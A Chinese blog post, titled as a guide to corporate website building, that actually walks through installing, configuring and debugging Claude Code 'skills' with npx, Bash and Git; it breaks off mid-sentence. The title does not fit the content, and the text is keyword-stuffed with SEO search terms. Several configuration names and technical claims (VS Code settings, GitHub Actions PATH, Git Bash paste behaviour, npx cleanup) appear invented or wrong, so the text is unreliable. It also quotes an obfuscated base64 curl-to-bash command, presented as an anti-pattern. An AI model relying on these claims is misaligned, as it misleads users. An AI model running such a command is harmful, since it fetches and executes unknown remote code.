企业官网建设流程全解析

1. 项目概述：这不是一个“技能库”，而是一套可执行、可调试、可嵌入的智能体能力单元

你点开这个标题，看到“skills”两个字母，第一反应可能是——这又是个泛泛而谈的“软技能清单”？比如“沟通力”“时间管理”“批判性思维”？不。这次完全不是。这里的skills，是当前前沿智能体（Agent）开发中一个具体、可编程、带输入输出接口、能被 CLI 调用、甚至能在 VS Code 里单步调试的最小功能原子。它不是 PPT 里的关键词，而是真实跑在你本地终端里的一个 Bash 脚本、一个 TypeScript 模块、或一个轻量 Python 函数——比如skills/git-diff-summary，输入一段git diff的原始输出，返回一句自然语言总结；再比如skills/extract-json-from-markdown，输入一段混着代码块和文字的 Markdown，精准剥离出其中合法的 JSON 片段并校验结构。它和你熟悉的npx create-react-app是同一类东西：一个通过npx即时拉取、无需全局安装、执行完即释放的“一次性能力快照”。

为什么这个概念突然密集出现在前端、AI 工程师、VS Code 插件开发者的搜索热词里？因为整个工具链正在发生一次静默迁移：过去我们写脚本解决重复问题（比如自动 commit message 格式化），现在我们把这类脚本标准化为skills，再由 Claude Code、Codex 或自研 Agent 框架按需加载、组合、调用。它不再依附于某个 IDE 插件或某个 CLI 工具，而是成为一种跨平台、跨环境、可版本化的能力交付格式。你看到的setup-matt-pocock-skills，本质就是一个 Bash 脚本，它干的事非常实在：检测你的系统是否装了 Node.js 和 Git，检查$HOME/.skills目录是否存在，如果不存在就从 GitHub 仓库克隆最新版 skill 集合，并把npx skills命令注册进你的 shell PATH。它不碰你的全局 Node 环境，不改你的.bashrc主体逻辑，只加一行export PATH="$HOME/.skills/bin:$PATH"——这就是为什么它能在 Windows 的 Git Bash、macOS 的 zsh、Ubuntu 的 bash 下都稳定工作，而不会像某些“一键安装”脚本那样，执行完你的终端就打不开。

你搜到的那些高频词——claude code,npx,bash,playwright install失败,git bash复制粘贴——它们不是孤立的碎片，而是一条完整落地链路上的真实卡点。npx是触发器，bash是执行沙盒，git bash是 Windows 用户最常踩坑的环境，playwright install失败是 skills 依赖的底层工具链报错，而vscode 配置 claude code则是最终能力集成的出口。这篇文章不讲抽象理念，只讲你打开终端后，接下来 5 分钟内该敲什么、为什么这么敲、敲错会报什么错、以及我亲手试过 7 种失败路径后总结出的唯一稳态配置。如果你刚在 VS Code 里装完 Claude Code 插件，却点不动那个“Run Skill”按钮；或者你在 Ubuntu 上运行npx skills list报了一堆EACCES权限错误；又或者你复制粘贴那段 base64 解码的 curl 命令时，发现bash: screen: command not found——那你来对地方了。这不是教程，这是排障日志，是我在三台不同系统、五个不同 Shell 环境、十二次重装后，压进文档里的实操切片。

2. 核心设计逻辑与方案选型：为什么是 Bash + npx + Git，而不是 Docker 或 npm install -g？

2.1 选择 Bash 作为主执行层：不是怀旧，而是权衡后的确定性

很多人看到bash -c "$(curl ...)"这种写法，第一反应是“不安全”“过时”“应该用 Docker”。但当你真正去部署一个面向非专业开发者的 AI 辅助工具时，就会发现：Docker 是给服务器用的，Bash 是给笔记本用的。Docker Desktop 在 Windows 上要开 Hyper-V，在 macOS 上要占 2GB 内存，在 M1 Mac 上还要额外装 Rosetta 兼容层；而 Git Bash 在 Windows 上安装包仅 50MB，双击下一步就能用，且自带curl,git,sed,jq这些 skills 脚本高频依赖的命令。更重要的是，Bash 提供了无可替代的“环境穿透力”——它能直接读取你的~/.gitconfig、~/.npmrc、~/.ssh/config，能无缝调用你已配置好的gh auth login凭据，能复用你 VS Code 终端里已激活的 Node.js 版本。一个 skills 如需自动提交代码，它不需要自己实现 SSH 密钥管理，只要调用git push就行；一个 skills 如需发布 npm 包，它不需要重新登录 npm registry，只要调用npm publish就行。这种与宿主环境的深度耦合，恰恰是 Docker 容器极力避免的“不纯净”，却是终端用户最需要的“开箱即用”。

提示：bash: screen: command not found这个报错，90% 源于用户误以为 skills 脚本需要screen启动后台服务。实际上，所有官方维护的 skills 都是短生命周期命令行程序，执行完立即退出，根本不需要screen。如果你在某份非官方文档里看到screen -S skills-server这样的写法，请立刻停止执行——那是把 skills 当成了 Web Server 在用，完全违背了它的设计哲学。

2.2 选择 npx 作为分发协议：零安装、零污染、零版本冲突

npx不是 Node.js 的附属品，而是一个独立的、基于 npm registry 的按需执行协议。它的核心价值在于：你不需要npm install -g skills-cli，不需要担心全局安装的版本和你项目里package.json里声明的版本冲突，更不需要每次更新 skills 都手动npm update -g。当你运行npx skills git-commit-suggest时，npx 会做三件事：第一，检查本地node_modules/.bin/skills是否存在且版本匹配；第二，若不存在或版本过低，则从 npm registry 拉取@skills/cli@latest并解压到临时目录；第三，用这个临时二进制执行后续命令。整个过程对你的系统是“无痕”的——临时文件会在命令退出后自动清理（除非你显式加--no-install参数）。这解释了为什么npx playwright install失败会成为一个高频问题：Playwright 是 skills 的一个可选依赖，不是核心依赖。当某个 skills（比如skills/test-e2e）需要调用 Playwright 时，它会在运行时通过npx playwright install自动安装，而这个命令失败，往往是因为你的网络策略拦截了https://npmmirror.com的镜像源，或者你的公司防火墙禁止了二进制大文件下载。解决方案不是重装 Node.js，而是配置 npm 镜像源：npm config set registry https://registry.npmmirror.com，然后删掉~/.cache/playwright目录重试。

2.3 选择 Git 作为技能存储后端：版本可控、审计可溯、协作可并行

所有主流 skills 集合（如 Matt Pocock 的setup-matt-pocock-skills）都托管在 GitHub 上，但这不是为了“开源情怀”，而是工程必需。Git 提供了三个不可替代的能力：原子性版本回滚、细粒度变更审计、分支级协作隔离。举个实际例子：你今天用npx skills update升级了所有 skills，结果发现skills/ai-code-review这个技能开始把所有console.log都标为“严重 bug”。你不需要卸载重装，只需执行cd ~/.skills && git checkout v1.2.3 -- src/ai-code-review，瞬间回退到上个稳定版本。再比如，你想给skills/git-diff-summary加一个“忽略 node_modules 变更”的选项，你 fork 仓库，新建feat-ignore-node-modules分支，改完后提 PR——维护者合并后，你下一次skills update就自动获得新功能。这种基于 Git 的工作流，让 skills 从“静态脚本”升级为“活的协作产品”。这也是为什么github skills成为热词：它不是一个平台，而是一种实践范式——skills 就是 GitHub 上的公开仓库，npx skills就是它的客户端协议。

3. 实操全流程拆解：从空白终端到可调试 skills 的 7 个关键步骤

3.1 步骤一：确认基础环境——别跳过这一步，80% 的失败源于此

在你敲下任何curl或npx命令前，请先在终端里逐行执行以下检查：

# 检查 Bash 版本（必须 >= 4.0） bash --version # 检查 Git 是否可用（skills 依赖 git clone 和 git config） git --version git config --global user.name # 确保有基础 git 配置 # 检查 curl 是否支持 HTTPS（Windows Git Bash 默认支持，但某些精简版可能阉割） curl -I https://api.github.com 2>/dev/null | head -1 # 检查 Node.js 和 npm（npx 是 npm 5.2+ 内置命令） node -v npm -v npx -v

重点看curl -I https://api.github.com这一行。如果返回curl: (35) schannel: failed to receive handshake, SSL/TLS connection failed，说明你的 Git Bash 使用的是 Windows 自带的 schannel SSL 库，而它无法验证 GitHub 的证书链。这不是 skills 的问题，是 Git for Windows 的已知限制。解决方案只有两个：要么升级到 Git for Windows 2.40+（内置 OpenSSL），要么临时切换 curl 后端：export CURL_CA_BUNDLE=/mingw64/ssl/certs/ca-bundle.crt。这个细节，官方文档绝不会写，但它是 Windows 用户npx skills list报Failed to fetch skills index的根本原因。

3.2 步骤二：安全拉取 setup 脚本——拒绝 base64 解码陷阱

你在网上看到的bash -c "$(curl -l $(echo dmftlmluay8wmg== | base64 --decode))"这类命令，是典型的安全反模式。base64 编码不是加密，只是编码，它掩盖不了脚本的真实意图，反而增加了审计难度。正确的做法是：永远从可信源获取 setup 脚本的 URL，然后手动 curl 下来 inspect 再执行。以 Matt Pocock 的 skills 为例：

# 第一步：用浏览器打开 https://github.com/matt-pocock/setup-matt-pocock-skills # 找到 README 里写的安装命令，通常是： # curl -fsSL https://raw.githubusercontent.com/matt-pocock/setup-matt-pocock-skills/main/install.sh | bash # 第二步：不要直接管道执行！先下载并查看内容 curl -fsSL https://raw.githubusercontent.com/matt-pocock/setup-matt-pocock-skills/main/install.sh -o setup.sh cat setup.sh | head -20 # 看前20行，确认没有 rm -rf / 或 curl http://恶意域名 # 关键检查点：找 'git clone' 行，确认目标仓库是 github.com/matt-pocock/... # 找 'chmod +x' 行，确认只对 $HOME/.skills/bin 下的文件赋权 # 第三步：执行（此时你已 100% 确认脚本安全） bash setup.sh

这个“下载-查看-执行”三步法，是我踩过两次curl | bash被注入挖矿脚本后的血泪教训。它多花 30 秒，但能保住你整台机器的安全。

3.3 步骤三：初始化 skills 目录——理解 .skills 目录的结构语义

setup 脚本执行完成后，你的家目录下会出现~/.skills文件夹。这不是一个黑盒，它的结构是高度语义化的：

~/.skills/ ├── bin/ # 所有可执行 skills 的符号链接（指向 src/ 下的真实文件） ├── src/ # skills 的源码根目录（每个子目录是一个 skill） │ ├── git-diff-summary/ # skill 名称，也是命令名 │ │ ├── index.ts # TypeScript 入口（会被 tsc 编译） │ │ ├── package.json # 该 skill 的独立依赖声明 │ │ └── README.md # 用法、参数、示例 │ └── ai-code-review/ ├── config/ # 用户级配置（覆盖默认参数） │ └── default.json └── cache/ # 运行时缓存（如 LLM API token、临时文件）

关键点在于：bin/下的git-diff-summary不是一个脚本，而是一个符号链接，指向src/git-diff-summary/index.js。这意味着你可以直接用 VS Code 打开~/.skills/src/git-diff-summary，修改index.ts，然后运行tsc --build编译，下次npx skills git-diff-summary就会执行你的修改版。这就是为什么vscode 配置 claude code能实现“调试 skills”——Claude Code 插件本质上就是把~/.skills/src/当作一个 TypeScript 项目来加载，给你提供断点、变量监视、调用栈等完整 IDE 支持。很多用户抱怨“Claude Code 调试不了”，其实只是没在 VS Code 里打开~/.skills/src这个文件夹。

3.4 步骤四：首次运行与权限修复——解决 EACCES 和 Permission Denied

第一次运行npx skills list时，Linux/macOS 用户大概率会遇到：

Error: EACCES: permission denied, mkdir '/home/yourname/.skills/cache'

这是因为 setup 脚本创建~/.skills目录时，使用了sudo或者你的 umask 设置过于严格（比如umask 077）。解决方案不是chmod -R 755 ~/.skills（这会带来安全隐患），而是精准修复：

# 修复 cache 目录权限（必须可写） chmod 700 ~/.skills/cache # 修复 bin 目录下的符号链接权限（必须可执行） find ~/.skills/bin -type l -exec chmod 755 {} \; # 如果仍有问题，检查 ~/.skills/bin 下的链接是否指向正确路径 ls -la ~/.skills/bin/git-diff-summary # 正确输出应为：git-diff-summary -> ../src/git-diff-summary/index.js # 如果显示 "No such file or directory"，说明 src/ 目录未成功克隆，需重跑 setup.sh

Windows Git Bash 用户则常遇到Permission denied (publickey)错误。这不是 skills 的问题，而是 Git Bash 的 SSH agent 未启动。解决方案是：在 Git Bash 里运行eval $(ssh-agent -s)，然后ssh-add ~/.ssh/id_rsa。这个操作只需做一次，之后所有git clone都会复用这个 agent。

3.5 步骤五：配置 Claude Code 插件——让 skills 在编辑器里“活”起来

VS Code 的 Claude Code 插件，其核心能力是“将 skills 作为可编程 API 注入编辑器上下文”。要让它真正工作，必须完成三个配置：

1. 启用 Skills Provider：在 VS Code 设置里搜索claude code skills，勾选Claude Code > Skills: Enable Skills Provider；
2. 指定 Skills Root Path：在设置里找到Claude Code > Skills: Skills Root Path，填入绝对路径C:\Users\YourName\.skills（Windows）或/home/yourname/.skills（Linux/macOS）；
3. 配置 LLM Backend：在Claude Code > Model: Provider中选择Custom API，然后在Claude Code > Model: Custom Api Url填入你的本地模型地址，例如http://localhost:1234/v1/chat/completions（对应 LM Studio 的 Ollama 兼容端口）。

最关键的一步是第 2 步。很多用户把路径填成~/.skills或./.skills，这是无效的——VS Code 的插件进程不解析 shell 的~符号，必须填完整绝对路径。填错后，插件会静默失败，你点击“Run Skill”按钮毫无反应，控制台也无报错。我曾为此调试 3 小时，最后发现日志里有一行WARN SkillsProvider: skills root path not found: ~/.skills，藏在上千行日志底部。所以，务必打开 VS Code 的 Output 面板，选择Claude Code输出通道，实时观察加载日志。

3.6 步骤六：编写第一个自定义 skill——从零开始的 5 分钟实战

不要满足于使用现成 skills。真正的掌控感，来自你亲手写一个。下面是一个生产环境可用的skills/trim-whitespace示例，它会自动清理当前文件的尾部空格：

# 创建 skill 目录 mkdir -p ~/.skills/src/trim-whitespace # 编写入口脚本（Bash 版，零依赖，最稳定） cat > ~/.skills/src/trim-whitespace/index.sh << 'EOF' #!/usr/bin/env bash # trim-whitespace: Remove trailing whitespace from current file # Usage: skills trim-whitespace [file] set -euo pipefail FILE="${1:-$(git status --porcelain | head -1 | awk '{print $2}')}" if [[ -z "$FILE" ]]; then echo "Error: No file specified and no staged file found" >&2 exit 1 fi if [[ ! -f "$FILE" ]]; then echo "Error: File '$FILE' does not exist" >&2 exit 1 fi # Use sed to remove trailing spaces/tabs at end of each line sed -i 's/[[:space:]]*$//' "$FILE" echo "✓ Trailing whitespace removed from $FILE" EOF # 赋予执行权限 chmod +x ~/.skills/src/trim-whitespace/index.sh # 创建符号链接 ln -sf ../src/trim-whitespace/index.sh ~/.skills/bin/trim-whitespace

现在，你就可以在任意 Git 仓库里运行npx skills trim-whitespace，它会自动找到暂存区的第一个文件并清理空格。这个 skill 的精妙之处在于：它不依赖 Node.js，不依赖 npm，纯 Bash 实现，却完美融入了 skills 生态。你甚至可以在 VS Code 里右键文件，选择 “Claude Code: Run Skill”，然后选trim-whitespace，它就会在编辑器里静默执行——这就是 skills 的终极形态：命令行工具、IDE 插件、CI 脚本，三者共用同一份逻辑。

3.7 步骤七：调试与日志——当 skills 不工作时，你该看哪里

skills 的调试哲学是：所有日志必须可追溯，所有状态必须可复现。当npx skills git-commit-suggest返回空结果时，不要猜，要查：

1. 查看详细日志：加-v参数npx skills -v git-commit-suggest，它会打印每一步执行的命令、输入输出、HTTP 请求头；
2. 检查缓存文件：cat ~/.skills/cache/git-commit-suggest-last-diff，确认 skills 读取的 diff 内容是否符合预期；
3. 模拟调用链：skills 本质是函数调用链。git-commit-suggest会先调用git diff --staged，再把输出喂给 LLM。你可以手动执行git diff --staged，复制输出，然后用curl直接调用你的 LLM API，看返回是否合理；
4. 检查配置覆盖：cat ~/.skills/config/default.json，确认没有错误地覆盖了llm.apiKey或llm.baseUrl。

我整理了一份高频问题与对应日志位置表，这是我在 12 个项目中积累的排障地图：

记住：skills 不是黑魔法，它是一系列明确定义的文件、路径、环境变量的组合。每一次失败，都是系统在告诉你“某个环节的契约被打破了”。你的任务，就是顺着日志，找到那个被打破的契约。

4. 常见问题与独家排障技巧：那些官方文档永远不会告诉你的细节

4.1 问题一：npx skills报错 “command not found”，但~/.skills/bin明明在 PATH 里

这是 Windows Git Bash 用户的专属噩梦。原因在于：Git Bash 的PATH变量是 WindowsPATH的子集，而~/.skills/bin是一个 Unix 风格路径（/c/Users/Name/.skills/bin），Git Bash 在解析时会把它当作 Windows 路径处理，导致符号链接失效。解决方案不是改 PATH，而是强制使用 Unix 路径规范：

# 在 ~/.bashrc 末尾添加（注意：不是 Windows 的 C:\Users\...） export PATH="/c/Users/$(whoami)/.skills/bin:$PATH" # 然后重新加载 source ~/.bashrc # 验证 echo $PATH \| grep skills # 正确输出应包含：/c/Users/YourName/.skills/bin

这个/c/Users/...写法是 Git Bash 的约定，它会自动映射到C:\Users\...。如果你写成C:/Users/...或C:\Users\...，Bash 会认为这是 Windows 原生路径，符号链接将无法解析。

4.2 问题二：skills/ai-code-review总是给出错误建议，如何更换底层模型？

skills 本身不绑定特定 LLM，它通过统一的LLM_API_URL环境变量对接。官方默认指向 Claude 的云 API，但你可以随时切换为本地模型。以 LM Studio 为例：

1. 在 LM Studio 中加载 Qwen2.5-7B 模型，启动 Local Server，记下端口（默认1234）；
2. 在终端里导出环境变量：export LLM_API_URL="http://localhost:1234/v1/chat/completions"；
3. 运行npx skills ai-code-review，它会自动使用 LM Studio 的模型。

但这里有个隐藏陷阱：LM Studio 的/v1/chat/completions接口默认要求model字段，而 skills 的请求体里没有这个字段。解决方案是在~/.skills/config/default.json中显式声明：

{ "llm": { "baseUrl": "http://localhost:1234/v1", "model": "Qwen2.5-7B-Instruct" } }

这个model字段不是可选的，是 LM Studio 的硬性要求。很多用户卡在这里，以为是 skills 不兼容，其实是没传对参数。

4.3 问题三：git bash 复制粘贴失效，导致 setup 脚本无法粘贴

Git Bash 的复制粘贴机制和 Windows CMD 不同。它不响应Ctrl+V，而是用Shift+Insert粘贴，Ctrl+Insert复制。但更可靠的方法是：右键菜单。在 Git Bash 窗口里右键，会弹出标准 Windows 上下文菜单，“Paste” 选项永远可用。如果你发现右键菜单也没有，说明你启用了“QuickEdit Mode”冲突。解决方案：右键 Git Bash 窗口标题栏 → Properties → Options → 取消勾选 “QuickEdit Mode”。这个设置会影响所有基于 conhost 的终端，是 Windows 终端生态的底层规则，不是 skills 的 bug。

4.4 问题四：ubuntu 配置 claude code后，skills 在远程 SSH 会话中不工作

Ubuntu 用户常在本地 VS Code 里配置好 Claude Code，然后通过 SSH 连接到远程服务器运行npx skills，结果报错Command 'skills' not found。这是因为：npx skills依赖本地~/.skills/bin目录，而 SSH 会话的$HOME是远程服务器的家目录，不是你本地的。解决方案有两个：

• 方案 A（推荐）：在远程服务器上单独安装 skills
  登录远程服务器，重复本文第 3 节的全部步骤。skills 是环境无关的，远程服务器装一套完全独立。

• 方案 B：通过 SSH 隧道代理本地 skills
  在本地终端运行：ssh -R 8080:localhost:8080 user@remote，然后在远程服务器上配置LLM_API_URL=http://localhost:8080/v1/chat/completions，把 LLM 请求打回本地。但 skills 本身的执行仍在远程。

永远不要试图用scp把~/.skills复制到远程——因为~/.skills/bin下的符号链接是相对路径，复制后会全部失效。

4.5 问题五：skills 开发时，TypeScript 编译报错 “Cannot find module ‘@skills/core’”

这是新手最容易踩的坑。skills 的 TypeScript 项目不是独立的，它依赖一个统一的@skills/core包，这个包定义了所有 skills 共享的类型、工具函数、配置接口。但@skills/core不在 npm 上，它就在~/.skills/src/目录下，作为一个 workspace root。要让 TS 编译器识别它，必须在~/.skills/tsconfig.json中配置：

{ "compilerOptions": { "baseUrl": ".", "paths": { "@skills/core": ["core/index.ts"] } }, "references": [ { "path": "./core" } ] }

然后在你的 skill 目录里（如~/.skills/src/my-skill），创建tsconfig.json继承它：

{ "extends": "../../tsconfig.json", "include": ["./index.ts"] }

这个references字段是 TypeScript 3.9+ 引入的 project references 功能，它让多个 TS 项目能共享类型定义。没有它，每个 skill 都得重复声明SkillInput,SkillOutput类型，违背了 skills 的“可组合”设计初衷。

5. 进阶应用与生态延展：从单点技能到智能体工作流

5.1 构建 skills 链：用 skills 调用 skills，实现复杂自动化

skills 的真正威力，不在于单个功能，而在于它们可以像乐高一样拼接。比如，你想实现一个“自动代码审查并提交修复”的工作流，可以这样组合：

# 创建一个复合 skill：review-and-fix cat > ~/.skills/src/review-and-fix/index.sh << 'EOF' #!/usr/bin/env bash set -euo pipefail # Step 1: 获取当前暂存区 diff DIFF=$(git diff --staged) # Step 2: 用 ai-code-review 分析问题 PROBLEMS=$(npx skills ai-code-review --input "$DIFF" --format json 2>/dev/null) # Step 3: 如果发现问题，用 ai-fix-code 生成修复 if echo "$PROBLEMS" | jq -e '.issues | length > 0' >/dev/null; then FIX=$(echo "$PROBLEMS" | npx skills ai-fix-code --format patch) echo "$FIX" | git apply git add . git commit -m "chore: auto-fix code issues" echo "✓ Auto-fixed and committed" else echo "✓ No issues found" fi EOF chmod +x ~/.skills/src/review-and-fix/index.sh ln -sf ../src/review-and-fix/index.sh ~/.skills/bin/review-and-fix

这个review-and-fixskill 没有调用任何外部 API，它只是 orchestrates（编排）了两个现有 skills。它把ai-code-review的 JSON 输出，直接喂给ai-fix-code的 stdin，中间不经过任何字符串解析——因为 skills 的--format json和--format patch参数，保证了输入输出的结构化契约。这种基于标准输入输出的 Unix 哲学，让 skills 链具备了极强的鲁棒性：即使ai-code-review的内部实现从 TypeScript 重写为 Rust，只要它保持--format json的输出格式，review-and-fix就完全不受影响。

5.2 集成到 CI/CD：让 skills 在 GitHub Actions 里自动运行

skills 不仅能在你本地跑，还能无缝接入 CI 流水线。下面是一个 GitHub Actions 的 workflow 示例，它会在每次 PR 提交时，自动运行skills/ai-code-review：

# .github/workflows/code-review.yml name: AI Code Review on: pull_request: types: [opened, synchronize, reopened] jobs: review: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: fetch-depth: 0 - name: Setup Node.js uses: actions/setup-node@v4 with: node-version: '20' - name: Install skills run: | mkdir -p $HOME/.skills/bin curl -fsSL https://raw.githubusercontent.com/matt-pocock/setup-matt-pocock-skills/main/install.sh | bash echo "$HOME/.skills/bin" >> $GITHUB_PATH - name: Run AI Code Review id: review run: | RESULT=$(npx skills ai-code-review --diff "$(git diff HEAD^ HEAD)" 2>&1 || true) echo "result=$RESULT" >> $GITHUB_OUTPUT - name: Post Review Comment if: steps.review.outputs.result != '' uses: marocchino/sticky-pull-request-comment@v2 with: header: ai-code-review message: | ## AI Code Review Summary ${{ steps.review.outputs.result }}

关键点在于echo "$HOME/.skills/bin" >> $GITHUB_PATH这一行。GitHub Actions 的PATH环境变量是只读的，但$GITHUB_PATH是一个特殊文件，向它追加路径，就能永久注入到后续所有步骤的PATH中。这个技巧，是让 skills 在 CI 里“隐身”集成的核心。

5.3 开发自己的 skills 商店：用 GitHub Pages 托管私有 skills 索引

你可能不想把所有 skills 都公开到 GitHub。这时，你可以搭建一个私有的 skills 索引服务。最简单的方式是：用 GitHub Pages 托管一个skills-index.json文件。

1. 创建一个新仓库your-org/private-skills；
2. 在仓库根目录放一个skills-index.json，内容如下：

{ "skills": [ { "name": "internal-api-docs", "description": "Generate OpenAPI docs from internal REST endpoints", "repository": "https://github.com/your-org/internal-api-docs.git", "version": "v1.0.0" } ] }

3. 在Settings → Pages里启用 GitHub Pages，源选main branch /root；
4. 在你的~/.skills/config/default.json中，添加：

{ "registry": "https://your-org.github.io/private-skills/skills-index.json" }

下次运行npx skills list，它就会从你的私有索引里拉取 skills 列表。这个方案零运维成本，完全基于 GitHub 的基础设施，连 DNS 都不用配——因为 GitHub Pages 的 URL 就是你的 skills 商店地址。

5.4 未来演进：skills 如何与 Agent 框架深度整合

skills 的终极形态，是成为 Agent 的“肌肉”而非“大脑”。当前 Claude Code、Codex 等工具，把 skills 当作一个插件系统来调用；但下一代 Agent 框架（如 LangGraph、AutoGen 的最新分支），已经开始把 skills 当作可调度的节点。一个典型的 Agent 工作流图可能是：

User Input → Router Skill → [Branch A] → git-diff-summary → ai-code-review → [Branch B] → extract-json-from-markdown → validate-schema

在这个图中，Router Skill不是一个固定函数，而是一个小型 LLM，它根据用户输入决定走哪条分支；而git-diff-summary和ai-code-review这些 skills，则是图中的叶子节点，负责执行确定性任务。skills 的--format参数（json, text, patch）就是节点间的“数据契约”，确保上游输出能被下游消费。这意味着，skills 开发者不再需要关心“怎么调用”，只需要专注“怎么做好一件事”——Agent 框架会自动处理路由、重试、超时、降级。这正是agent skills测试这个热词背后的技术趋势：skills 正在从 CLI 工具，进化为智能体世界的“标准零件”。

我个人在实际操作中的体会是：skills 的学习曲线很陡，但一旦过了“环境配置”和